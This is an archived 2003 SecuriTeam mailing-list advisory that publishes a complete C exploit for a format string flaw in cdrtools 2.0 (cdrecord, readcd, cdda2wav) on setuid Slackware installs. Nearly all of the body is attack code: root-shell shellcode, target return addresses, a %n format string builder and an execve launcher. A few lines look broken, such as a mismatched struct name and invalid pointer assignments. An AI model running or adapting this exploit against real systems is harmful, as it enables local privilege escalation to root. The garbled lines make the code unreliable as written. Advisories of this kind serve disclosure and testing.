

# [EXPL] Another Cdrecord Format String Vulnerability Exploit Released

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0052.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 06/18/03

To: list@securiteam.com

Date: 18 Jun 2003 14:57:12 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Latest attack techniques.

You're a pen tester, but is google.com still your R&D team?

Now you can get trustworthy commercial-grade exploits and the latest techniques from a world-class research group.

Learn more at <http://www.coresecurity.com/promos/site1>,  
or call 617-399-6980

-----

Another Cdrecord Format String Vulnerability Exploit Released

---

## SUMMARY

A format string vulnerability in Cdrecord (A CD recording program) allows local attackers to gain elevated privileges (under those distributions that have set the program to setuid, Slackware and Mandrake). The following exploit code can be used by administrators to test their system for the mentioned vulnerability.

## DETAILS

Exploit:

```
/*  
* cdrecord, readcd, cdda2wav (cdrtools 2.0) exploit by CMN  
*  
* <cmn@darklab.org>/<md0claes@mdstud.chalmers.se>  
*/
```

## Securiteam: [EXPL] Another Cdrecord Format String Vulnerability Exploit Released

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define NOP 0x90
#define BUFSIZE 65536
#define FMTSTRSIZE 512
#define DUMMY 0x204e4d43

static const char linuxcode[] =
    "\xb9\xff\xff\xff" /* movl $-1, %ecx */
    "\x31\xc0" /* xorl %eax, %eax */
    "\xb0\x31" /* movb $0x31, %al */
    "\xcd\x80" /* int $0x80 */
    "\x89\xc3" /* movl %eax, %ebx */
    "\xb0\x46" /* movb $0x46, %al */
    "\xcd\x80" /* int $0x80 */
    "\x31\xc0" /* xorl %eax, %eax */
    "\xb0\x32" /* movb $0x32, %al */
    "\xcd\x80" /* int $0x80 */
    "\x89\xc3" /* movl %eax, %ebx */
    "\xb0\x47" /* movb $0x47, %al */
    "\xcd\x80" /* int $0x80 */
    "\x31\xd2" /* xorl %edx, %edx */
    "\x52" /* pushl %edx */
    "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
    "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
    "\x89\xe3" /* movl %esp, %ebx */
    "\x52" /* pushl %edx */
    "\x53" /* pushl %ebx */
    "\x89\xe1" /* movl %esp, %ecx */
    "\xb0\x0b" /* movb $0xb, %al */
    "\xcd\x80" /* int $0x80 */
    "\x31\xc0" /* xorl %eax, %eax */
    "\x40" /* inc %eax */
    "\xcd\x80"; /* int $0x80 */

struct vulnfo {
    u_char *bin;
    u_int retloc;
    u_char *stackpop;
    u_int fmt_written;
    u_int pop_written;
    u_char *arg2;
};

static struct vulnfo targets[] =
{
    /* .dtors */
```

## Securiteam: [EXPL] Another Cdrecord Format String Vulnerability Exploit Released

```
    {"usr/bin/cdrecord", 0x0808bf04+4, "%.f%.f%.f%08x%08x%.f%.f%.f%08x",
13, 36, "/bin/sh"},
    {"usr/bin/readcd", 0x080683a4+4, "%.f%.f%.f%08x%08x%.f%.f%.f%08x",
13, 37, NULL},
    {"usr/bin/cdda2wav", 0x08082244+4, "%.f%.f%.f%08x%08x%.f%.f%.f%08x",
13, 37, NULL},
};
```

```
void
usage(char *pname)
{
    printf("Usage: %s <target> [-l<retloc>] [-r<retaddr>] [-o<offset>]\n",
pname);
    printf("Targets: \n");
    printf(" 0 - '%s' (Slackware 8.1, cdrtools-2.01a5-i686-1.tgz)\n",
targets[0].bin);
    printf(" 1 - '%s' (Slackware 8.1, cdrtools-2.01a5-i686-1.tgz)\n",
targets[1].bin);
    printf(" 2 - '%s' (Slackware 8.1, cdrtools-2.01a5-i686-1.tgz)\n\n",
targets[2].bin);
}
```

```
int
main(int argc, char *argv[])
{
    u_long ret = (u_long)&ret;
    struct vulinfo *target;
    char buf[FMTSTRSIZE];
    char envbuf[BUFSIZE];
    long offset = 0;
    u_int written;
    char *pt;
    char *av[4];
    char *ev[2];
    int i;
    int tmp;
    int wb;
    int pad;

    printf("\n** cdrecord, readcd, cdda2wav (cdrtools 2.0) exploit by CMN
**\n");

    if (argc < 2) {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    i = atoi(argv[1]);

    if ((i>=0) && (i<=2)) {
        target = &targets[i];
```

## Securiteam: [EXPL] Another Cdrecord Format String Vulnerability Exploit Released

```
}
else {
    fprintf(stderr, "Unknown target!\n");
    exit(EXIT_FAILURE);
}

argc--;
argv++;

while ( (i = getopt(argc, argv, "l:r:o:")) != -1) {
    switch(i) {

        case 'l':
            target->retloc = strtoul(optarg, NULL, 0);
            break;

        case 'r':
            ret = strtoul(optarg, NULL, 0);
            break;

        case 'o':
            offset = strtol(optarg, NULL, 0);
            break;

        default:
            usage(argv[0]);
            exit(EXIT_FAILURE);
            break;
    }
}

ret -= offset;
printf("-----\n");
printf("Target program: '%s'\n", target->bin);
printf("Using address 0x%08x, retloc 0x%08x\n", (u_int)ret,
target->retloc);
printf("-----\n");
written = target->fmt_written;

snprintf(buf, 5, "dev=");
pt = &buf[4];

*(u_long *)pt = DUMMY;
*(u_long *)pt + 4 = target->retloc;
pt += 8;
written += 8;

*(u_long *)pt = DUMMY;
*(u_long *)pt + 4 = target->retloc + 1;
pt += 8;
written += 8;
```

## Securiteam: [EXPL] Another Cdrecord Format String Vulnerability Exploit Released

```
*(u_long *)pt = DUMMY;
*(u_long *)(pt +4) = target->retloc+2;
pt += 8;
written += 8;

*(u_long *)pt = DUMMY;
*(u_long *)(pt +4) = target->retloc+3;
pt += 8;
written += 8;

memcpy(pt, target->stackpop, strlen(target->stackpop));
pt += strlen(target->stackpop);
written += target->pop_written;

for (i=0; i<4; i++) {
    wb = ((u_char *)&ret)[i] + 0x100;
    written %= 0x100;
    pad = (wb - written) % 0x100;

    if (pad < 10)
        pad += 0x100;

    tmp = sprintf(pt, "%%du%%n", pad);
    written += tmp;
    pt += tmp;
}

memset(envbuf, NOP, sizeof(envbuf));
memcpy(&envbuf[BUFSIZE - (sizeof(linuxcode)+24)],
    linuxcode, sizeof(linuxcode));

av[0] = target->bin;
av[1] = buf;
av[2] = target->arg2;
av[3] = (char *)NULL;

ev[0] = envbuf;
ev[1] = (char *)NULL;

execve(target->bin, av, ev);
perror("execve()");
exit(EXIT_FAILURE);
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:md0claes@mdstud.chalmers.se>>  
Claes Nyberg.

=====

Securiteam: [EXPL] Another Cdrecord Format String Vulnerability Exploit Released

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.